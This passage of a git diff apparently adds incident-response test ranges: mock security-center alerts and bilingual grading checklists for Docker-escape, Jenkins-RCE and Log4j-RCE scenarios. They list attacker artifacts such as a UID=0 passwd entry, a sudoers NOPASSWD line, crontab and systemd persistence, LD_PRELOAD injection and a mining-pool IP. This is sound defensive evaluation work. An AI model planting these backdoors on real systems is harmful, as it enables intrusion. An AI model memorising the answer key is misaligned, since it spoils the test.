"AlarmEventTypeDisplay": "持久化后门", + "AlarmUniqueInfo": "b2c3d4e5f6a78901234567890bcdef02", + "CanBeDealOnLine": false, + "DataSource": "aegis_suspicious_event", + "Desc": "云安全中心检测到crontab中被写入可疑定时任务,该任务可能用于持久化恶意程序。", + "Details": [ + { "NameDisplay": "提示", "Type": "text", "Value": "检测到您的crontab中被写入了可疑的定时任务.", "ValueDisplay": "检测到您的crontab中被写入了可疑的定时任务." }, + { "NameDisplay": "ATT&CK 矩阵ID", "Type": "text", "Value": "T1053.003", "ValueDisplay": "T1053.003" }, + { "NameDisplay": "数据来源", "Type": "text", "Value": "crontab文件变更检测", "ValueDisplay": "crontab文件变更检测" }, + { "NameDisplay": "告警原因", "Type": "text", "Value": "新增crontab条目指向隐藏目录下的脚本文件.", "ValueDisplay": "新增crontab条目指向隐藏目录下的脚本文件." }, + { "NameDisplay": "用户名", "Type": "text", "Value": "root", "ValueDisplay": "root" }, + { "NameDisplay": "Crontab内容", "Type": "text", "Value": "*/10 * * * * /opt/.docker/.health-monitor >/dev/null 2>&1", "ValueDisplay": "*/10 * * * * /opt/.docker/.health-monitor >/dev/null 2>&1" }, + { "NameDisplay": "描述", "Type": "text", "Value": "攻击者通过向crontab中写入定时任务实现恶意程序的持久化, 即使进程被kill也会定时重启.", "ValueDisplay": "攻击者通过向crontab中写入定时任务实现恶意程序的持久化, 即使进程被kill也会定时重启." }, + { "NameDisplay": "处置建议", "Type": "text", "Value": "1. 删除恶意crontab条目; 2. 删除对应的恶意脚本文件; 3. 排查其他持久化方式.", "ValueDisplay": "1. 删除恶意crontab条目; 2. 删除对应的恶意脚本文件; 3. 排查其他持久化方式." } + ], + "EventStatus": 1, + "EventSubType": "可疑Cron任务", + "HasTraceInfo": false, + "Id": 813553702, + "InstanceId": "i-mock-docker-escape-001", + "InstanceName": "range-docker-escape-victim", + "InternetIp": "__VICTIM_IP__", + "IntranetIp": "172.16.33.131", + "Level": "suspicious", + "Name": "持久化后门-可疑Cron任务", + "OccurrenceTime": "__SAS_TS_BASE__ 15:41:53", + "Stages": "[\"持久化\"]", + "TacticItems": [{ "TacticDisplayName": "持久化", "TacticId": "TA0003" }] + }, + { + "AlarmEventName": "异常Systemd服务", + "AlarmEventNameDisplay": "异常自启动项", + "AlarmEventType": "持久化后门", + "AlarmEventTypeDisplay": "持久化后门", + "AlarmUniqueInfo": "c3d4e5f6a7b890123456789abcdef03", + "CanBeDealOnLine": false, + "DataSource": "aegis_suspicious_event", + "Desc": "云安全中心检测到新增了异常的systemd服务单元文件,该服务可能用于持久化。", + "Details": [ + { "NameDisplay": "提示", "Type": "text", "Value": "检测到新增了可疑的systemd服务.", "ValueDisplay": "检测到新增了可疑的systemd服务." }, + { "NameDisplay": "ATT&CK 矩阵ID", "Type": "text", "Value": "T1543.002", "ValueDisplay": "T1543.002" }, + { "NameDisplay": "数据来源", "Type": "text", "Value": "systemd unit文件变更检测", "ValueDisplay": "systemd unit文件变更检测" }, + { "NameDisplay": "告警原因", "Type": "text", "Value": "新增systemd service文件启动隐藏目录下的脚本, 且设置了自动重启策略.", "ValueDisplay": "新增systemd service文件启动隐藏目录下的脚本, 且设置了自动重启策略." }, + { "NameDisplay": "用户名", "Type": "text", "Value": "root", "ValueDisplay": "root" }, + { "NameDisplay": "服务文件", "Type": "text", "Value": "/etc/systemd/system/docker-health-agent.service", "ValueDisplay": "/etc/systemd/system/docker-health-agent.service" }, + { "NameDisplay": "执行命令", "Type": "text", "Value": "/opt/.docker/.health-monitor", "ValueDisplay": "/opt/.docker/.health-monitor" }, + { "NameDisplay": "描述", "Type": "text", "Value": "攻击者通过创建systemd服务实现恶意程序持久化, 服务会在系统启动时自动运行.", "ValueDisplay": "攻击者通过创建systemd服务实现恶意程序持久化, 服务会在系统启动时自动运行." }, + { "NameDisplay": "处置建议", "Type": "text", "Value": "1. 停止并禁用该服务; 2. 删除对应的unit文件; 3. 删除对应的恶意脚本.", "ValueDisplay": "1. 停止并禁用该服务; 2. 删除对应的unit文件; 3. 删除对应的恶意脚本." } + ], + "EventStatus": 1, + "EventSubType": "异常自启动项", + "HasTraceInfo": false, + "Id": 813553703, + "InstanceId": "i-mock-docker-escape-001", + "InstanceName": "range-docker-escape-victim", + "InternetIp": "__VICTIM_IP__", + "IntranetIp": "172.16.33.131", + "Level": "suspicious", + "Name": "持久化后门-异常自启动项", + "OccurrenceTime": "__SAS_TS_BASE__ 15:42:10", + "Stages": "[\"持久化\"]", + "TacticItems": [{ "TacticDisplayName": "持久化", "TacticId": "TA0003" }] + } + ], + "_comment": "SAS 检测结果。Docker Remote API 未授权访问 (2375) 不产出告警,容器逃逸(privileged 容器 + 主机 FS 挂载)不产出告警,SSH 密钥注入不产出告警,bashrc 持久化不产出告警,后门容器(infra-monitor)不产出告警。SAS 仅检测到宿主机层面的挖矿进程、crontab 写入、systemd service 安装。Agent 需要通过 Docker events/logs 和主机取证发现完整攻击链。" +} diff --git a/ranges/docker-escape/sas-mock/baselines.json b/ranges/docker-escape/sas-mock/baselines.json new file mode 100644 index 0000000000000000000000000000000000000000..b8813d0ebcec15a72fed3d71b4ab3eb020e3e6c2 --- /dev/null +++ b/ranges/docker-escape/sas-mock/baselines.json @@ -0,0 +1,9 @@ +{ + "Count": 0, + "CurrentPage": 1, + "PageSize": 50, + "RequestId": "F8I2H7J6-DI9G-0F1H-GE45-6789012345FG", + "TotalCount": 0, + "WarningSummarys": [], + "_comment": "SAS 免费版不提供主机级基线检查(Docker 配置、SSH 配置、账户安全等)。Docker TCP API 暴露 (0.0.0.0:2375) 属于 Docker 配置弱点但不在 SAS 免费版检测范围。" +} diff --git a/ranges/docker-escape/sas-mock/vulns.json b/ranges/docker-escape/sas-mock/vulns.json new file mode 100644 index 0000000000000000000000000000000000000000..e55e4d9eca12cf58e11a0b6605962a386b32614e --- /dev/null +++ b/ranges/docker-escape/sas-mock/vulns.json @@ -0,0 +1,6 @@ +{ + "cve": { "CurrentPage": 1, "PageSize": 50, "RequestId": "G9J3I8K7-EJ0H-2I1J-HF56-7890123456GH", "TotalCount": 0, "VulRecords": [] }, + "sys": { "CurrentPage": 1, "PageSize": 50, "RequestId": "H0K4J9L8-FK1I-3J2K-IG67-8901234567HI", "TotalCount": 0, "VulRecords": [] }, + "app": { "CurrentPage": 1, "PageSize": 50, "RequestId": "I1L5K0M9-GL2J-4K3L-JH78-9012345678IJ", "TotalCount": 0, "VulRecords": [] }, + "_comment": "SAS 未检测到 CVE 或应用漏洞。Docker Remote API 未授权访问属于配置弱点而非 CVE。" +} diff --git a/ranges/jenkins-rce/checklist.en.md b/ranges/jenkins-rce/checklist.en.md new file mode 100644 index 0000000000000000000000000000000000000000..515c395dc31638366a25f1df43a10cd13ec29f4d --- /dev/null +++ b/ranges/jenkins-rce/checklist.en.md @@ -0,0 +1,126 @@ +# range-jenkins-rce Checklist + +Scoring criteria (ground truth) for evaluation. Each checkpoint is split into two independent scoring dimensions: detection score and plan score. + +- **Detection score** (max 3 pts): Discovery(1) + Evidence(1) + Attribution(1) +- **Plan score** (max 2 pts): Correctness(1) + Completeness(1) + +## Dimension 1: Intrusion entity identification and remediation + +### CHK-01: Mining process detection `ENT-P01` +- **Evidence**: process `/var/cache/jenkins/.update3` is running, with argv[0] disguised as `jenkins-agent.jar` +- **Detection score**: discover the mining process; point out the path and disguised naming; attribute to attacker profiteering +- **Plan score**: kill command is correct; includes process termination + binary deletion + checking watchdog mechanisms + +### CHK-02: Mining binary cleanup `ENT-F02` +- **Evidence**: `/var/cache/jenkins/.update` (xmrig binary disguised as a Jenkins cache directory) +- **Detection score**: identify the malicious file; point out the path and type (identify xmrig via hash comparison); associate with mining +- **Plan score**: rm command is correct; recommend checking for copies in locations such as /var/cache, /tmp + +### CHK-03: Crontab persistence cleanup `PER-S01` +- **Evidence**: `/etc/cron.d/jenkins-update` contains a mining startup entry +- **Detection score**: discover the abnormal cron file; point out the path and content; associate with the mining watchdog +- **Plan score**: file deletion command is correct; recommend checking all cron locations + +### CHK-04: Malicious UID=0 account cleanup `PER-A03` +- **Evidence**: `/etc/passwd` contains `jenkins-build:x:0:0:::/bin/bash`, with an abnormal UID=0 +- **Detection score**: discover the abnormal account; point out UID=0 + naming that imitates jenkins; attribute to a backdoor +- **Plan score**: userdel command is correct; recommend auditing all UID=0 accounts + +### CHK-05: SUID-root bash backdoor cleanup `PER-M01` +- **Evidence**: `/usr/local/bin/.update` is a bash copy with permissions 4755 +- **Detection score**: discover the SUID binary; identify it as a bash copy; attribute to privilege persistence +- **Plan score**: chmod u-s + rm commands are correct; recommend a full-disk audit with find -perm -4000 + +### CHK-06: sudoers NOPASSWD tampering restoration `ENT-F05` +- **Evidence**: `/etc/sudoers` has an extra line `jenkins ALL=(ALL) NOPASSWD: ALL` appended at the end +- **Detection score**: discover the abnormal sudoers line; identify it as written by the attacker; attribute to a privilege-escalation backdoor +- **Plan score**: delete that line + verify with visudo -cf; explain the rollback method + +### CHK-07: /etc/environment LD_PRELOAD injection cleanup `PER-I02` +- **Evidence**: `/etc/environment` contains `LD_PRELOAD=/var/cache/jenkins/.x.so`, and .x.so is an empty stub planted by the attacker +- **Detection score**: discover the abnormal environment entry; identify the LD_PRELOAD injection intent; associate with attacker persistence +- **Plan score**: delete that line + delete the .x.so file + +### CHK-08: Jenkins startup-hook backdoor cleanup `PER-W02` +- **Evidence**: `$JENKINS_HOME/init.groovy.d/zz-update.groovy` executes malicious code when Jenkins starts +- **Detection score**: discover the abnormal init.groovy.d script; identify that it executes when Jenkins starts; attribute to application-layer persistence +- **Plan score**: delete the .groovy file + restart Jenkins to apply the change + +### CHK-09: Credential-dump file cleanup `ENT-F04` +- **Evidence**: `/var/cache/jenkins/.j.tgz` is a tar archive of `secrets/ + credentials.xml` +- **Detection score**: discover the dump file; identify the content as Jenkins credentials; attribute to attacker credential theft +- **Plan score**: preserve for forensics then delete the original file + note that credentials are leaked and require rotation + +### CHK-10: Mining-pool domain hosts-tampering cleanup `ENT-N03` +- **Evidence**: `/etc/hosts` contains `8.217.135.152 pool.supportxmr.com` +- **Detection score**: discover the abnormal hosts entry; identify supportxmr as a known XMR mining-pool domain; attribute to DNS hijacking +- **Plan score**: delete that entry + add a sinkhole (0.0.0.0 pool.supportxmr.com) to prevent re-resolution + +### CHK-11: Mining-pool IP outbound block `ENT-N02` +- **Evidence**: the mining process connects to `8.217.135.152:3333`, and this IP also appears in cron +- **Detection score**: discover the outbound mining-pool connection; identify port 3333 (Stratum protocol); associate with mining +- **Plan score**: iptables OUTPUT DROP -d 8.217.135.152 + security-group outbound rule + +### CHK-12: Attacker IP inbound block `ENT-N01` +- **Evidence**: `/var/log/jenkins/access.log` has numerous POST `/script` requests from the attacker IP +- **Detection score**: reconstruct the attacker IP from the access log; locate the first intrusion time; associate with Groovy delivery +- **Plan score**: iptables INPUT DROP -s + security-group inbound rule + +## Dimension 2: Root-cause remediation (entry side) + +### CHK-13: Jenkins anonymous-permission fix `BAS-06` +- **Evidence**: in `$JENKINS_HOME/config.xml`, `` grants `anonymous` the `Administer` permission, so curl `/script` directly returns the Groovy console +- **Detection score**: identify the Jenkins misconfiguration; point out the misconfigured item (anonymous Administer); attribute to the intrusion entry point +- **Plan score**: modify authorizationStrategy to revoke anonymous permissions + restart Jenkins; explain the business impact + +### CHK-14: Jenkins admin weak-password fix `BAS-03` +- **Evidence**: the admin user uses a default weak password (admin123) +- **Detection score**: identify the weak password; point out the weak-password pattern of the admin user; attribute to lateral-movement risk after credential leakage +- **Plan score**: reset the admin password (>=14 chars); also recommend rotating all secrets in credentials.xml + +## Dimension 3: Cross-cutting checks + +### CHK-15: Process-chain provenance completeness `Q-02` +- **Evidence**: able to trace from the mining process back to the Jenkins main process → Groovy delivery → r.sh download and execution +- **Detection-only**: plan score N/A + +### CHK-16: Attacker-information extraction `Q-03` +- **Evidence**: extract the attacker IP, first intrusion time, and Groovy payload content from the access log +- **Detection-only**: plan score N/A + +### CHK-17: Credential-leak impact assessment `Q-08` +- **Evidence**: clearly state that all secrets in credentials.xml are leaked, recommend bulk rotation; list the affected downstream systems +- **Detection-only**: plan score N/A + +### CHK-18: Business-impact assessment `Q-08` +- **Evidence**: identify that "revoking anonymous permissions" will affect legitimate users who rely on anonymous access; recommend a transition plan +- **Detection-only**: plan score N/A + +### CHK-19: Honesty & confidence calibration `Q-04` +- **Evidence**: the report annotates uncertainty (e.g., when the hash does not match a well-known xmrig version) and does not fabricate +- **Detection-only**: plan score N/A + +## Dimension 4: Extended investigation (in-depth items) + +> This dimension consists of in-depth investigation items, each scored with a "plan score (2 pts)" and **no detection score** (the base CAP detection scores are already counted in Dimensions 1-2). These items assess the thoroughness of the remediation Agent's investigation — whether it performed a systematic audit beyond the known entry point. + +### CHK-20: Secondary mining-cron watchdog check `PER-S01` +- **Evidence**: the remediation Agent checks the user crontab + all /etc/cron.* locations, confirming nothing is missed +- **Plan score**: extended correctness + +### CHK-21: Full Jenkins jobs / init.groovy.d audit `PER-W02` +- **Evidence**: beyond the known zz-update.groovy, scan jobs//config.xml for other injected build steps +- **Plan score**: extended correctness + +### CHK-22: Full UID=0 account audit `PER-A03` +- **Evidence**: beyond jenkins-build, confirm there are no other abnormal UID=0 accounts in /etc/passwd +- **Plan score**: extended correctness + +### CHK-23: Full-disk SUID audit `PER-M01` +- **Evidence**: `find / -perm -4000 -newer ` or comparison against a baseline, confirming there are no other SUID backdoors +- **Plan score**: extended correctness + +### CHK-24: Jenkins credential-store rotation verification `BAS-03` +- **Evidence**: all secrets in credentials.xml have been regenerated (hashes differ from the original values) +- **Plan score**: execution extensibility diff --git a/ranges/jenkins-rce/checklist.md b/ranges/jenkins-rce/checklist.md new file mode 100644 index 0000000000000000000000000000000000000000..df6e677f73f60c8ca4dce4ea64c81d965bf96876 --- /dev/null +++ b/ranges/jenkins-rce/checklist.md @@ -0,0 +1,126 @@ +# range-jenkins-rce 检查清单 + +评估的评分标准(ground truth)。每个检查点拆分为检测分、方案分两个独立评分维度。 + +- **检测分**(满分 3 分):发现(1) + 证据(1) + 归因(1) +- **方案分**(满分 2 分):正确性(1) + 完整性(1) + +## 维度 1:入侵实体识别与处置 + +### CHK-01:挖矿进程检测 `ENT-P01` +- **证据**:进程 `/var/cache/jenkins/.update3` 正在运行,argv[0] 伪装为 `jenkins-agent.jar` +- **检测分**:发现挖矿进程;指出路径与伪装命名;归因到攻击者牟利 +- **方案分**:终止命令正确;包含进程终止 + 删除二进制 + 检查守护机制 + +### CHK-02:挖矿二进制文件清理 `ENT-F02` +- **证据**:`/var/cache/jenkins/.update`(伪装 Jenkins 缓存目录的 xmrig 二进制) +- **检测分**:识别恶意文件;指出路径和类型(hash 比对识别 xmrig);关联挖矿 +- **方案分**:rm 命令正确;建议检查 /var/cache、/tmp 等位置副本 + +### CHK-03:crontab 持久化清理 `PER-S01` +- **证据**:`/etc/cron.d/jenkins-update` 内含挖矿启动条目 +- **检测分**:发现异常 cron 文件;指出路径和内容;关联到挖矿守护 +- **方案分**:删除文件命令正确;建议检查所有 cron 位置 + +### CHK-04:恶意 UID=0 账户清理 `PER-A03` +- **证据**:`/etc/passwd` 含 `jenkins-build:x:0:0:::/bin/bash`,UID=0 异常 +- **检测分**:发现异常账户;指出 UID=0 + 命名模仿 jenkins;归因为后门 +- **方案分**:userdel 命令正确;建议审计所有 UID=0 账户 + +### CHK-05:SUID root bash 后门清理 `PER-M01` +- **证据**:`/usr/local/bin/.update` 是 bash 副本,权限 4755 +- **检测分**:发现 SUID 二进制;识别为 bash 拷贝;归因为权限维持 +- **方案分**:chmod u-s + rm 命令正确;建议 find -perm -4000 全盘审计 + +### CHK-06:sudoers NOPASSWD 篡改还原 `ENT-F05` +- **证据**:`/etc/sudoers` 末尾多出 `jenkins ALL=(ALL) NOPASSWD: ALL` +- **检测分**:发现 sudoers 异常行;识别为攻击者写入;归因为提权后门 +- **方案分**:删除该行 + visudo -cf 验证;说明回滚手段 + +### CHK-07:environment LD_PRELOAD 注入清理 `PER-I02` +- **证据**:`/etc/environment` 含 `LD_PRELOAD=/var/cache/jenkins/.x.so`,且 .x.so 是攻击者放的空 stub +- **检测分**:发现 environment 异常;识别 LD_PRELOAD 注入意图;关联攻击者驻留 +- **方案分**:删除该行 + 删除 .x.so 文件 + +### CHK-08:Jenkins 启动钩子后门清理 `PER-W02` +- **证据**:`$JENKINS_HOME/init.groovy.d/zz-update.groovy` 在 Jenkins 启动时执行恶意代码 +- **检测分**:发现 init.groovy.d 异常脚本;识别其在 Jenkins 启动时执行;归因为应用层持久化 +- **方案分**:删除该 .groovy 文件 + 重启 Jenkins 使变更生效 + +### CHK-09:凭证 dump 文件清理 `ENT-F04` +- **证据**:`/var/cache/jenkins/.j.tgz` 是 `secrets/ + credentials.xml` 的 tar 包 +- **检测分**:发现 dump 文件;识别内容为 Jenkins 凭证;归因为攻击者凭证窃取 +- **方案分**:取证保留后删除原文件 + 提示凭证已泄需轮换 + +### CHK-10:矿池域名 hosts 篡改清理 `ENT-N03` +- **证据**:`/etc/hosts` 含 `8.217.135.152 pool.supportxmr.com` +- **检测分**:发现 hosts 异常条目;识别 supportxmr 为已知 XMR 矿池域名;归因为 DNS 劫持 +- **方案分**:删除该条目 + 添加 sinkhole(0.0.0.0 pool.supportxmr.com)防再次解析 + +### CHK-11:矿池 IP 出站封禁 `ENT-N02` +- **证据**:挖矿进程连接 `8.217.135.152:3333`,cron 中也有该 IP +- **检测分**:发现出站矿池连接;识别端口 3333(Stratum 协议);关联到挖矿 +- **方案分**:iptables OUTPUT DROP -d 8.217.135.152 + 安全组出站规则 + +### CHK-12:攻击者 IP 入站封禁 `ENT-N01` +- **证据**:`/var/log/jenkins/access.log` 中有大量 POST `/script` 请求来自攻击者 IP +- **检测分**:从 access log 还原攻击者 IP;定位首次入侵时间;关联 Groovy 投放 +- **方案分**:iptables INPUT DROP -s + 安全组入站规则 + +## 维度 2:根因修复(入口侧) + +### CHK-13:Jenkins 匿名权限修复 `BAS-06` +- **证据**:`$JENKINS_HOME/config.xml` 中 `` 给 `anonymous` 赋 `Administer`,curl `/script` 直返 Groovy 控制台 +- **检测分**:识别 Jenkins 配置错;指出错配点(anonymous Administer);归因为入侵入口 +- **方案分**:修改 authorizationStrategy 撤销 anonymous 权限 + 重启 Jenkins;说明业务影响 + +### CHK-14:Jenkins admin 弱口令修复 `BAS-03` +- **证据**:admin 用户使用默认弱密码(admin123) +- **检测分**:识别弱口令;指出 admin 用户的弱口令模式;归因为凭证泄漏后横移风险 +- **方案分**:重置 admin 密码(>=14 位);同步建议轮换 credentials.xml 所有 secret + +## 维度 3:横切检查项 + +### CHK-15:进程链溯源完整性 `Q-02` +- **证据**:能从挖矿进程回溯到 Jenkins 主进程 → Groovy 投放 → r.sh 下载执行 +- **仅检测项**:方案分 N/A + +### CHK-16:攻击者信息提取 `Q-03` +- **证据**:从 access log 提取攻击者 IP、首次入侵时间、Groovy payload 内容 +- **仅检测项**:方案分 N/A + +### CHK-17:凭证泄漏影响评估 `Q-08` +- **证据**:明确 credentials.xml 中所有 secret 已泄露,建议批量轮换;列出受影响的下游系统 +- **仅检测项**:方案分 N/A + +### CHK-18:业务影响评估 `Q-08` +- **证据**:识别"撤销匿名权限"会影响匿名访问的合法用户;建议过渡方案 +- **仅检测项**:方案分 N/A + +### CHK-19:诚实与置信标注 `Q-04` +- **证据**:报告中对不确定性(如 hash 未匹配 xmrig 知名版本时)有标注,不编造 +- **仅检测项**:方案分 N/A + +## 维度 4:扩展排查(深度题) + +> 本维度为深度排查项,每项采用「方案分 (2 分)」评分,**不计检测分**(基础 CAP 检测分已在维度 1-2 计入)。这些项考察处置 Agent 的排查全面性 —— 是否在已知入口外做了系统性审计。 + +### CHK-20:挖矿 cron 二级守护检查 `PER-S01` +- **证据**:处置 Agent 检查 user crontab + /etc/cron.* 全部位置,确认无遗漏 +- **方案分**:扩展正确性 + +### CHK-21:所有 Jenkins jobs/init.groovy.d 全量审计 `PER-W02` +- **证据**:除已知 zz-update.groovy 外,扫描 jobs//config.xml 是否有其他 build 步骤注入 +- **方案分**:扩展正确性 + +### CHK-22:UID=0 账户全量审计 `PER-A03` +- **证据**:除 jenkins-build 外,确认 /etc/passwd 中无其他异常 UID=0 账户 +- **方案分**:扩展正确性 + +### CHK-23:SUID 全盘审计 `PER-M01` +- **证据**:`find / -perm -4000 -newer ` 或与 baseline 比对,确认无其他 SUID 后门 +- **方案分**:扩展正确性 + +### CHK-24:Jenkins 凭证库轮换执行验证 `BAS-03` +- **证据**:credentials.xml 中所有 secret 已重新生成(hash 与原值不同) +- **方案分**:执行扩展性 diff --git a/ranges/jenkins-rce/disk.tar.gz b/ranges/jenkins-rce/disk.tar.gz new file mode 100644 index 0000000000000000000000000000000000000000..f444752dd4c74a79c20579c91df73bc2438b05b2 --- /dev/null +++ b/ranges/jenkins-rce/disk.tar.gz @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:40d86963ec2a000a1492b663ec87aac1e1fe48c4e0b664bcdd65470bfc4ddd64 +size 1928531674 diff --git a/ranges/jenkins-rce/disk.tar.gz.sha256 b/ranges/jenkins-rce/disk.tar.gz.sha256 new file mode 100644 index 0000000000000000000000000000000000000000..c394dce6a3d34d184c7275bec5f4ce56de838049 --- /dev/null +++ b/ranges/jenkins-rce/disk.tar.gz.sha256 @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:fcb6550729373905ddfb55b0d63c97eae1a2bd34d1ca78ceace8de3625ab928f +size 78 diff --git a/ranges/jenkins-rce/sas-mock/alerts.json b/ranges/jenkins-rce/sas-mock/alerts.json new file mode 100644 index 0000000000000000000000000000000000000000..f911388ff65dcf8b724adbaf9893af3837547c51 --- /dev/null +++ b/ranges/jenkins-rce/sas-mock/alerts.json @@ -0,0 +1,50 @@ +[ + { + "alert_id": "JK-001", + "severity": "high", + "type": "Web Application Anomaly", + "title": "Jenkins Script Console 未授权访问", + "description": "检测到来自 8.217.135.152 的多次 POST /scriptText 请求,目标主机 Jenkins 实例(端口 8080)。请求成功(HTTP 200),返回 Groovy 执行结果,疑似未授权 RCE。", + "timestamp_offset_seconds": 0, + "src_ip": "8.217.135.152", + "dst_port": 8080 + }, + { + "alert_id": "JK-002", + "severity": "critical", + "type": "Suspicious Process", + "title": "进程伪装为 Jenkins Agent 但行为异常", + "description": "进程名 jenkins-agent.jar 但实际执行二进制为 /var/cache/jenkins/.update(非 Java 进程)。哈希匹配 XMRig 挖矿程序家族。", + "timestamp_offset_seconds": 30, + "process_path": "/var/cache/jenkins/.update", + "argv0": "jenkins-agent.jar" + }, + { + "alert_id": "JK-003", + "severity": "high", + "type": "Privilege Escalation", + "title": "新增 UID=0 账户", + "description": "/etc/passwd 监控触发,新增账户 jenkins-build:x:0:0::/: 命名贴近合法服务但 UID=0 异常。", + "timestamp_offset_seconds": 35, + "username": "jenkins-build" + }, + { + "alert_id": "JK-004", + "severity": "high", + "type": "Persistence", + "title": "cron 计划任务异常", + "description": "/etc/cron.d/jenkins-update 包含每 2 分钟拉起 /var/cache/jenkins/.update 的条目。", + "timestamp_offset_seconds": 40, + "cron_path": "/etc/cron.d/jenkins-update" + }, + { + "alert_id": "JK-005", + "severity": "medium", + "type": "Outbound Connection", + "title": "矿池协议出站连接", + "description": "持续出站 TCP 连接到 8.217.135.152:3333,符合 Stratum 协议特征。", + "timestamp_offset_seconds": 60, + "dst_ip": "8.217.135.152", + "dst_port": 3333 + } +] diff --git a/ranges/log4j-rce/checklist.en.md b/ranges/log4j-rce/checklist.en.md new file mode 100644 index 0000000000000000000000000000000000000000..71e4c359103968102804493b88ab65531a687f63 --- /dev/null +++ b/ranges/log4j-rce/checklist.en.md @@ -0,0 +1,229 @@ +# range-log4j-rce Checklist + +Scoring criteria (ground truth) for evaluation. Each checkpoint is split into two independent scoring dimensions: detection score and plan score. + +- **Detection score** (max 3 pts): Discovery(1) + Evidence(1) + Attribution(1) — judging the detection Agent's analysis report — LLM-as-a-Judge +- **Plan score** (max 2 pts): Correctness(1) + Completeness(1) — judging the repair plan output by the detection Agent — LLM-as-a-Judge +- **detection-only**: plan score marked N/A, excluded from the corresponding rollup + +## Dimension 1: Intrusion entity identification and disposal (5 items) + +### CHK-01: Webshell process detection `ENT-F01` +- **Evidence**: python3 webshell.py process listening on port 48888 +- **Detection score** (3 pts) + - Discovery: identified an abnormal Python HTTP service + - Evidence: pointed out the process path `/opt/webapp/webshell.py`, listening on port 48888 + - Attribution: correlated the webshell with the Log4j JNDI exploitation chain +- **Plan score** (2 pts) + - Correctness: the plan gives the correct process-termination command (kill / fuser -k 48888/tcp) + - Completeness: the plan covers terminating the process + deleting the file + checking for any restart mechanism + +### CHK-02: Mining process detection `ENT-P01` +- **Evidence**: process `/var/cache/.java-gc` is running, disguised as a Java GC helper +- **Detection score** (3 pts) + - Discovery: identified the mining process + - Evidence: pointed out the path `/var/cache/.java-gc`, recognized the disguised name + - Attribution: correlated the mining process with the attacker's persistence behavior +- **Plan score** (2 pts) + - Correctness: the plan gives the correct process-termination command + - Completeness: the plan covers terminating the process + deleting the file + checking the daemon mechanism (systemd/crontab) + +### CHK-03: Mining file cleanup `ENT-F02` +- **Evidence**: file `/var/cache/.java-gc` exists (bash script disguised as a binary) +- **Detection score** (3 pts) + - Discovery: identified the malicious file + - Evidence: pointed out the file path and type + - Attribution: correlated with the mining behavior +- **Plan score** (2 pts) + - Correctness: the plan gives the correct deletion command + - Completeness: the plan recommends checking hidden locations such as /var/cache, /tmp for copies + +### CHK-04: Webshell file cleanup `ENT-F01` +- **Evidence**: `/opt/webapp/webshell.py` or `/tmp/.ws.py` exists +- **Detection score** (3 pts) + - Discovery: found an abnormal Python file + - Evidence: pointed out the path and content (HTTP server accepting the `?c=` parameter to execute commands) + - Attribution: identified as a backdoor file planted by the attacker +- **Plan score** (2 pts) + - Correctness: the plan gives the correct deletion command + - Completeness: the plan covers cleaning up the webshell file + Exploit.class + +### CHK-05: Data-exfiltration file `ENT-F04` +- **Evidence**: `/tmp/.db_dump` exists, containing database export content +- **Detection score** (3 pts) + - Discovery: found the database dump file + - Evidence: pointed out the path and content (including user credentials, API Keys) + - Attribution: identified as a product of the attacker's information-gathering stage +- **Plan score** (2 pts) + - Correctness: the plan recommends preserving it first for forensic analysis, recording the scope of data leakage + - Completeness: the plan covers forensic preservation + subsequent cleanup + rotation recommendation for affected credentials + +## Dimension 2: Baseline risk (6 items) + +### CHK-06: Log4j2 vulnerable version `VUL-01` +- **Evidence**: `/opt/webapp/lib/log4j-core-2.14.1.jar` — CVE-2021-44228 +- **Detection score** (3 pts) + - Discovery: identified that Log4j2 2.14.1 has a known RCE vulnerability + - Evidence: pointed out the jar package path and version number, cited CVE-2021-44228 + - Attribution: correlated this vulnerability with the initial intrusion entry point +- **Plan score** (2 pts) + - Correctness: the plan recommends upgrading to 2.17.1+ or applying mitigation measures (setting log4j2.formatMsgNoLookups=true) + - Completeness: the plan covers stopping the service → replacing the jar → restarting + verification measures + +### CHK-07: SSH PermitRootLogin `BAS-01` +- **Evidence**: `PermitRootLogin yes` in `/etc/ssh/sshd_config` +- **Detection score** (3 pts) + - Discovery: the report mentions the risk of PermitRootLogin + - Evidence: cited the specific configuration line in sshd_config + - Attribution: pointed out that allowing direct root SSH login increases brute-force risk +- **Plan score** (2 pts) + - Correctness: the plan recommends changing it to `no` or `prohibit-password` + - Completeness: the plan includes `sshd -t` verification and restart steps + +### CHK-08: SSH MaxAuthTries too high `BAS-01` +- **Evidence**: `MaxAuthTries 100` in `/etc/ssh/sshd_config` +- **Detection score** (3 pts) + - Discovery: identified that the MaxAuthTries setting is insecure + - Evidence: cited the configuration line and the specific value 100 + - Attribution: explained how this setting amplifies brute-force risk +- **Plan score** (2 pts) + - Correctness: the plan recommends changing MaxAuthTries to a reasonable value (3-6) + - Completeness: the plan includes the step of restarting sshd + +### CHK-09: app user weak password `BAS-03` +- **Evidence**: the app user's password is `app2024` +- **Detection score** (3 pts) + - Discovery: identified that a system user uses a weak password + - Evidence: found via password-policy check or shadow file analysis + - Attribution: a weak password can be brute-forced or exploited via social engineering +- **Plan score** (2 pts) + - Correctness: the plan recommends replacing it with a strong password (16+ characters, including uppercase, lowercase, digits, special characters) + - Completeness: the plan covers password change + password-policy hardening (PAM) + +### CHK-10: Sudo NOPASSWD overly broad `BAS-04` +- **Evidence**: `/etc/sudoers.d/app-deploy` allows the app user to run `/opt/webapp/deploy.sh` with NOPASSWD +- **Detection score** (3 pts) + - Discovery: identified the sudoers configuration risk + - Evidence: cited the sudoers file content + - Attribution: explained that a writable script + NOPASSWD = direct privilege escalation +- **Plan score** (2 pts) + - Correctness: the plan recommends removing NOPASSWD or restricting deploy.sh to root-write-only + - Completeness: the plan covers sudoers modification + script permission hardening + visudo verification + +### CHK-11: JNDI remote class-loading config `VUL-01` +- **Evidence**: `System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true")` in VulnWebApp.java +- **Detection score** (3 pts) + - Discovery: identified that the JNDI security configuration was explicitly relaxed + - Evidence: pointed out the code location and property name + - Attribution: explained that this configuration allows remote code loading and is a precondition for the attack to work +- **Plan score** (2 pts) + - Correctness: the plan recommends removing this System.setProperty or setting it to false + - Completeness: the plan covers code modification + recompilation + service restart + +## Dimension 3: Persistence detection and removal (4 items) + +### CHK-12: Systemd persistence backdoor `PER-V01` +- **Evidence**: `/etc/systemd/system/java-gc-helper.service` (enabled state) +- **Detection score** (3 pts) + - Discovery: found a suspicious systemd service unit + - Evidence: pointed out the service name and file path, showed the ExecStart content + - Attribution: identified as a persistent mining service planted by the attacker +- **Plan score** (2 